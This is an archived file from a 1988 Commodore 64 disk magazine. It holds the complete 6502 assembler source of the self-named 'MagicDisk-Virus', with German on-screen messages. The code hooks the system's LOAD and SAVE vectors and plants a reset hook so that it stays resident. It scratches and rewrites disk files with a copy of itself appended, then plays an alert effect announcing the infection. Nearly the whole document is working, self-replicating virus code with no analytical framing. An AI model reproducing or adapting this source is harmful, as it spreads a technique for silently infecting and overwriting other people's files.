home *** CD-ROM | disk | FTP | other *** search
/ Magic Disk 64 / Magic_Disk_64_88-08_1988_-_de_Side_B.d64 / mdv-source.asc < prev    next >
Text File  |  2023-02-26  |  11KB  |  5 lines

  1.  
  2.  
  3.  
  4. ready.
  5.  
  6. 10   -.ba $cbaf
  7. 20   -;
  8. 21   -.eq status=$90
  9. 30   -.eq savecont=$f624
  10. 40   -.eq filelo=$bb
  11. 50   -.eq filehi=$bc
  12. 60   -.eq fileleng=$b7
  13. 70   -.eq setpar=$ffba
  14. 80   -.eq setnam=$ffbd
  15. 90   -.eq open=$ffc0
  16. 100  -.eq close=$ffc3
  17. 110  -.eq savecbm=$ffd8
  18. 120  -.eq strout=$ab1e
  19. 121  -.eq bsout=$ffd2
  20. 122  -;***
  21. 124  -.eq sid=54272
  22. 125  -.eq crsrflag=204
  23. 126  -.eq crsrline=214
  24. 127  -.eq vic=$d000
  25. 130  -;***
  26. 131  -.eq frqlo=data-1
  27. 132  -.eq frqhi=data-2
  28. 133  -.eq countlo=data-3
  29. 134  -.eq counthi=data-4
  30. 135  -.eq counter=data-5
  31. 136  -.eq lengnam=data-6
  32. 137  -.eq realend=ende-data+$0801
  33. 139  -;********************************
  34. 140  -data      .by $15,$08,$0a,$00,$9e
  35. 150  -.tx "2071:md-virus!"
  36. 160  -.by 0,0,0
  37. 170  -;********************************
  38. 180  -copyup    lda #$37
  39. 190  -          sta $01
  40. 200  -          ldx #$01
  41. 210  -          ldy #$08
  42. 220  -          stx $5f
  43. 230  -          sty $60
  44. 240  -          ldx #<(realend)
  45. 250  -          ldy #>(realend)
  46. 260  -          stx $5a
  47. 270  -          sty $5b
  48. 280  -          ldx #$f0
  49. 290  -          ldy #$cf
  50. 300  -          stx $58
  51. 310  -          sty $59
  52. 320  -          jsr $a3bf
  53. 330  -          jmp start
  54. 340  -;*******************************
  55. 350  -start     lda #$36
  56. 360  -          sta $01
  57. 370  -;
  58. 371  -          ldx #01
  59. 372  -          ldy #08
  60. 373  -          stx lab5+1
  61. 374  -          sty lab5+2
  62. 380  -          ldx #<(realend)
  63. 390  -          ldy #>(realend)
  64. 400  -          stx $fb
  65. 410  -          sty $fc
  66. 420  -          ldx $ae
  67. 421  -          ldy $af
  68. 423  -          stx $f9
  69. 424  -          sty $fa
  70. 460  -;
  71. 470  -          ldy #00
  72. 475  -          ldx #00
  73. 480  -loop8     lda ($fb),y
  74. 490  -lab5      sta $0801,x
  75. 500  -          inx 
  76. 510  -          bne lab4
  77. 520  -          inc lab5+2
  78. 530  -lab4      jsr inccount
  79. 540  -          bcc loop8
  80. 640  -;
  81. 660  -          ldy lab5+2
  82. 670  -          stx $ae
  83. 680  -          sty $af
  84. 690  -          stx $2d
  85. 700  -          sty $2e
  86. 710  -;
  87. 720  -          lda #$37
  88. 730  -          sta $01
  89. 740  -;
  90. 750  -          jsr init
  91. 760  -          jsr $a659
  92. 770  -          jmp $a7ae
  93. 780  -;********************************
  94. 840  -restore   jsr $fd15
  95. 850  -          jsr $fda3
  96. 860  -          jsr $e518
  97. 870  -          jsr init2
  98. 880  -          jmp ($a002)
  99. 890  -;********************************
  100. 900  -save1     jmp save
  101. 910  -;********************************
  102. 930  -reset     stx $d016
  103. 940  -          jsr $fda3
  104. 950  -          jsr $fd50
  105. 960  -          jsr $fd15
  106. 970  -          jsr $ff5b
  107. 980  -          cli 
  108. 990  -          jsr init2
  109. 1000 -          jmp ($a000)
  110. 1010 -;********************************
  111. 1020 -load      pha 
  112. 1030 -          lda filelo
  113. 1040 -          sta $fb
  114. 1050 -          lda filehi
  115. 1060 -          sta $fc
  116. 1070 -          ldy fileleng
  117. 1080 -          sty lengnam
  118. 1090 -loop2     lda ($fb),y
  119. 1100 -          sta namebuff+2,y
  120. 1110 -          dey 
  121. 1120 -          bpl loop2
  122. 1130 -          pla 
  123. 1140 -;
  124. 1150 -          sta $93
  125. 1160 -          lda #$00
  126. 1170 -          sta $90
  127. 1180 -          lda $ba
  128. 1190 -          bne xf4b2
  129. 1200 -xf4af     jmp $f713
  130. 1210 -xf4b2     cmp #$03
  131. 1220 -          beq xf4af
  132. 1230 -          bcc xf533
  133. 1240 -;
  134. 1250 -          ldy $b7
  135. 1260 -          bne xf4bf
  136. 1270 -          jmp $f710
  137. 1280 -xf4bf     ldx $b9
  138. 1290 -          jsr $f5af
  139. 1300 -          lda #$60
  140. 1310 -          sta $b9
  141. 1320 -          jsr $f3d5
  142. 1330 -          lda $ba
  143. 1340 -          jsr $ed09
  144. 1350 -          lda $b9
  145. 1360 -          jsr $edc7
  146. 1370 -          jsr $ee13
  147. 1380 -          sta $ae
  148. 1390 -;
  149. 1400 -          cmp #01
  150. 1410 -          bne cbmload1
  151. 1420 -;
  152. 1430 -          lda $90
  153. 1440 -          lsr 
  154. 1450 -          lsr 
  155. 1460 -          bcs loaderror
  156. 1470 -          jsr $ee13
  157. 1480 -          sta $af
  158. 1490 -;
  159. 1500 -          cmp #08
  160. 1510 -          bne cbmload2
  161. 1520 -          jsr $f4e5
  162. 1530 -          bcc inftest
  163. 1540 -          rts 
  164. 1550 -;********************************
  165. 1560 -loaderror jmp $f704
  166. 1570 -xf533     jmp $f533
  167. 1580 -cbmload1  jmp $f4da
  168. 1590 -cbmload2  jmp $f4e5
  169. 1600 -;********************************
  170. 1610 -inftest   ldy #17
  171. 1620 -loop7     lda $0801,y
  172. 1630 -          cmp data,y
  173. 1640 -          bne scratch
  174. 1650 -          dey 
  175. 1660 -          bpl loop7
  176. 1670 -          jmp ($a002)
  177. 1680 -;
  178. 1700 -scratch   lda #01
  179. 1710 -          ldx #08
  180. 1720 -          ldy #15
  181. 1730 -          jsr setpar
  182. 1740 -          lda lengnam
  183. 1750 -          clc 
  184. 1760 -          adc #02
  185. 1770 -          ldx #<(namebuff)
  186. 1780 -          ldy #>(namebuff)
  187. 1790 -          jsr setnam
  188. 1800 -          jsr open
  189. 1810 -          lda #01
  190. 1820 -          jsr close
  191. 1830 -;
  192. 1840 -          ldy lengnam
  193. 1850 -          lda namebuff+1,y
  194. 1860 -          cmp #"*"
  195. 1870 -          bne cont
  196. 1880 -          dey 
  197. 1890 -;
  198. 1920 -cont      tya 
  199. 1930 -          ldx #<(namebuff)+2
  200. 1940 -          ldy #>(namebuff)
  201. 1950 -          jsr setnam
  202. 1951 -          ldx #08
  203. 1952 -          jsr setpar
  204. 1960 -          ldx #01
  205. 1970 -          ldy #08
  206. 1980 -          stx $c1
  207. 1990 -          sty $c2
  208. 2000 -          ldx #00
  209. 2010 -          jsr save
  210. 2020 -          jmp saveerror
  211. 2071 -;********************************
  212. 2072 -init      lda #01
  213. 2073 -          sta copy
  214. 2080 -init2     ldy #03
  215. 2090 -loop3     lda tab,y
  216. 2100 -          sta $0330,y
  217. 2110 -          dey 
  218. 2120 -          bpl loop3
  219. 2130 -;
  220. 2140 -          ldy #08
  221. 2150 -loop4     lda cbm,y
  222. 2160 -          sta $8000,y
  223. 2170 -          dey 
  224. 2180 -          bpl loop4
  225. 2190 -;
  226. 2200 -          rts 
  227. 2201 -;********************************
  228. 2202 -xf659     jmp $f659
  229. 2203 -copy      .by 0
  230. 2210 -;********************************
  231. 2211 -saveerror lda status
  232. 2212 -          bne shit
  233. 2213 -          rts 
  234. 2215 -shit      lda #<(errortext)
  235. 2216 -          ldy #>(errortext)
  236. 2217 -          jmp strout
  237. 2218 -;********************************
  238. 2220 -save      lda $ba
  239. 2230 -          bne xf5f4
  240. 2240 -xf5f1     jmp $f713
  241. 2250 -xf5f4     cmp #$03
  242. 2260 -          beq xf5f1
  243. 2270 -          bcc xf659
  244. 2280 -;
  245. 2290 -          lda #$61
  246. 2300 -          sta $b9
  247. 2310 -          ldy $b7
  248. 2320 -          bne xf605
  249. 2330 -          jmp $f710
  250. 2340 -xf605     cpx #00
  251. 2350 -          beq nosaving
  252. 2360 -          jsr $f68f
  253. 2370 -nosaving  jsr $f3d5
  254. 2380 -          lda $ba
  255. 2390 -          jsr $ed0c
  256. 2400 -          lda $b9
  257. 2410 -          jsr $edb9
  258. 2420 -          ldy #$00
  259. 2430 -          jsr $fb8e
  260. 2440 -          lda $ac
  261. 2450 -          cmp #01
  262. 2460 -          beq lab1
  263. 2470 -          ldy #01
  264. 2480 -lab1      jsr $eddd
  265. 2490 -          lda $ad
  266. 2500 -          cmp #08
  267. 2510 -          beq lab2
  268. 2520 -          ldy #01
  269. 2530 -lab2      jsr $eddd
  270. 2540 -;
  271. 2550 -          cpy #01
  272. 2560 -          bne virusok
  273. 2570 -          ldy #00
  274. 2580 -          jmp savecont
  275. 2590 -;
  276. 2600 -virusok   lda #<(data)
  277. 2610 -          sta $fb
  278. 2620 -          lda #>(data)
  279. 2630 -          sta $fc
  280. 2640 -          lda #<(ende)
  281. 2650 -          sta $f9
  282. 2660 -          lda #>(ende)
  283. 2670 -          sta $fa
  284. 2680 -;
  285. 2690 -          ldy #00
  286. 2700 -loop      lda ($fb),y
  287. 2710 -          jsr $eddd
  288. 2720 -          jsr inccount
  289. 2730 -          bcc loop
  290. 2800 -;
  291. 2810 -          jsr savecont
  292. 2812 -          jsr saveerror
  293. 2820 -;
  294. 2830 -          asl copy
  295. 2840 -          bcs gag
  296. 2850 -          rts 
  297. 2860 -;********************************
  298. 5060 -gag       ldx #00
  299. 5070 -          stx crsrflag
  300. 5080 -          stx $d020
  301. 5090 -          stx $d021
  302. 5100 -          stx countlo
  303. 5110 -          inx 
  304. 5120 -          stx 646
  305. 5130 -          stx vic+21
  306. 5140 -;   
  307. 5150 -          lda #12
  308. 5160 -          sta vic+39
  309. 5170 -          lda #24
  310. 5180 -          sta vic
  311. 5190 -          lda #27
  312. 5200 -          sta vic+1
  313. 5210 -          lda #13
  314. 5220 -          sta 2040
  315. 5230 -;
  316. 5240 -          ldy #12
  317. 5250 -          lda #00
  318. 5260 -sloop4    sta 832,y
  319. 5270 -          dey 
  320. 5280 -          bpl sloop4
  321. 5290 -;
  322. 5300 -          ldy #50
  323. 5310 -sloop3    lda sprdat,y
  324. 5320 -          sta 845,y
  325. 5330 -          dey 
  326. 5340 -          bpl sloop3
  327. 5350 -;
  328. 5351 -          lda #13
  329. 5352 -          jsr bsout
  330. 5360 -          lda #32
  331. 5370 -          jsr bsout
  332. 5380 -;********************************
  333. 5390 -calc      lda crsrline
  334. 5400 -          clc 
  335. 5410 -          adc #03
  336. 5420 -          lsr 
  337. 5430 -          ror countlo
  338. 5440 -          clc 
  339. 5450 -          adc #$60
  340. 5460 -          sta counthi
  341. 5470 -;********************************
  342. 5480 -sound     lda #15
  343. 5490 -          sta sid+24
  344. 5500 -          sta counter
  345. 5510 -          ldx #01
  346. 5520 -          ldy #$78
  347. 5530 -          stx sid
  348. 5540 -          sty sid+1
  349. 5550 -          stx frqlo
  350. 5560 -          sty frqhi
  351. 5570 -          ldx #$e0
  352. 5580 -          ldy #$f0
  353. 5590 -          stx sid+5
  354. 5600 -          sty sid+6
  355. 5610 -          lda #33
  356. 5620 -          sta sid+4
  357. 5630 -;
  358. 5640 -sloop2    ldy #01
  359. 5650 -          jsr wait
  360. 5660 -          dec frqlo
  361. 5670 -          bne sl1
  362. 5680 -          dec frqhi
  363. 5690 -;***
  364. 5700 -sl1       lda counthi
  365. 5710 -          cmp frqhi
  366. 5720 -          bcc sl5
  367. 5730 -          bne sl6
  368. 5740 -          lda countlo
  369. 5750 -          cmp frqlo
  370. 5760 -          bcc sl5
  371. 5770 -sl6       dec counter
  372. 5780 -          bpl sl5
  373. 5790 -          inc vic+1
  374. 5800 -          lda #15
  375. 5810 -          sta counter
  376. 5820 -;***
  377. 5830 -sl5       lda frqhi
  378. 5840 -          cmp #$60
  379. 5850 -          beq bye
  380. 5860 -          sta sid+1
  381. 5870 -          lda frqlo
  382. 5880 -          sta sid
  383. 5890 -          jmp sloop2
  384. 5900 -;
  385. 5910 -bye       sty sid+4
  386. 5920 -          sty sid+24
  387. 5930 -          lda #"{CBM-P}"
  388. 5940 -          jsr bsout
  389. 5950 -          sta crsrflag
  390. 5960 -          ldy #$ff
  391. 5970 -          jsr wait
  392. 5980 -          sty vic+21
  393. 5990 -          lda #<(warning)
  394. 6000 -          ldy #>(warning)
  395. 6010 -          jsr strout
  396. 6020 -          jmp init
  397. 8000 -;********************************
  398. 8010 -wait      ldx #00
  399. 8020 -sloop1    dex 
  400. 8030 -          bne sloop1
  401. 8040 -          dey 
  402. 8050 -          bne sloop1
  403. 8060 -          rts 
  404. 8070 -;********************************
  405. 8210 -inccount  inc $fb
  406. 8220 -          bne lab3
  407. 8230 -          inc $fc
  408. 8240 -lab3      lda $fb
  409. 8250 -          cmp $f9
  410. 8260 -          bne weiter
  411. 8270 -          lda $fc
  412. 8280 -          cmp $fa
  413. 8290 -          bne weiter
  414. 8310 -          sec 
  415. 8320 -          rts 
  416. 8330 -;
  417. 8340 -weiter    clc 
  418. 8350 -          rts 
  419. 10000-;********************************
  420. 10010-sprdat    .by 124,0,0,198,0,0,198,0,0,108,0,31,255,248
  421. 10020-.by 31,177,248,31,183,248,63,177,252,63,181,252,63,177,252,63,255,252,113
  422. 10030-.by 22,142,123,82,190,123,84,142,251,84,239,251,22,143,255,255,255,255
  423. 10040-;********************************
  424. 10050-cbm       .wo reset,restore
  425. 10060-          .tx "CBM80"
  426. 10070-tab       .wo load,save
  427. 10075-errortext .by 13
  428. 10080-.tx "Der MagicDisk-Virus ist in diesem"
  429. 10081-.by13
  430. 10090-.tx "C64 !!! Soeben wurden Daten zerstoert !"
  431. 10091-.by13
  432. 10100-.tx "Bitte Programm auf einer anderen Disk"
  433. 10101-.by13
  434. 10110-.tx "abspeichern !!!"
  435. 10120-.by 13,14,0
  436. 10130-;********************************
  437. 10135-warning   .by 13
  438. 10140-.tx "Hallo du ! Dein 64er lebt ! Ein paar von"
  439. 10141-.by13
  440. 10150-.tx "deinen Disketten wurden infiziert mit"
  441. 10151-.by13
  442. 10160-.tx"dem MagicDisk-Virus..."
  443. 10170-.by 13,14,0
  444. 10180-;********************************
  445. 10190-namebuff  .tx "s:"
  446. 10200-ende      .by 0
  447.  
  448.  
  449. ready.
  450.  
  451.  
  452.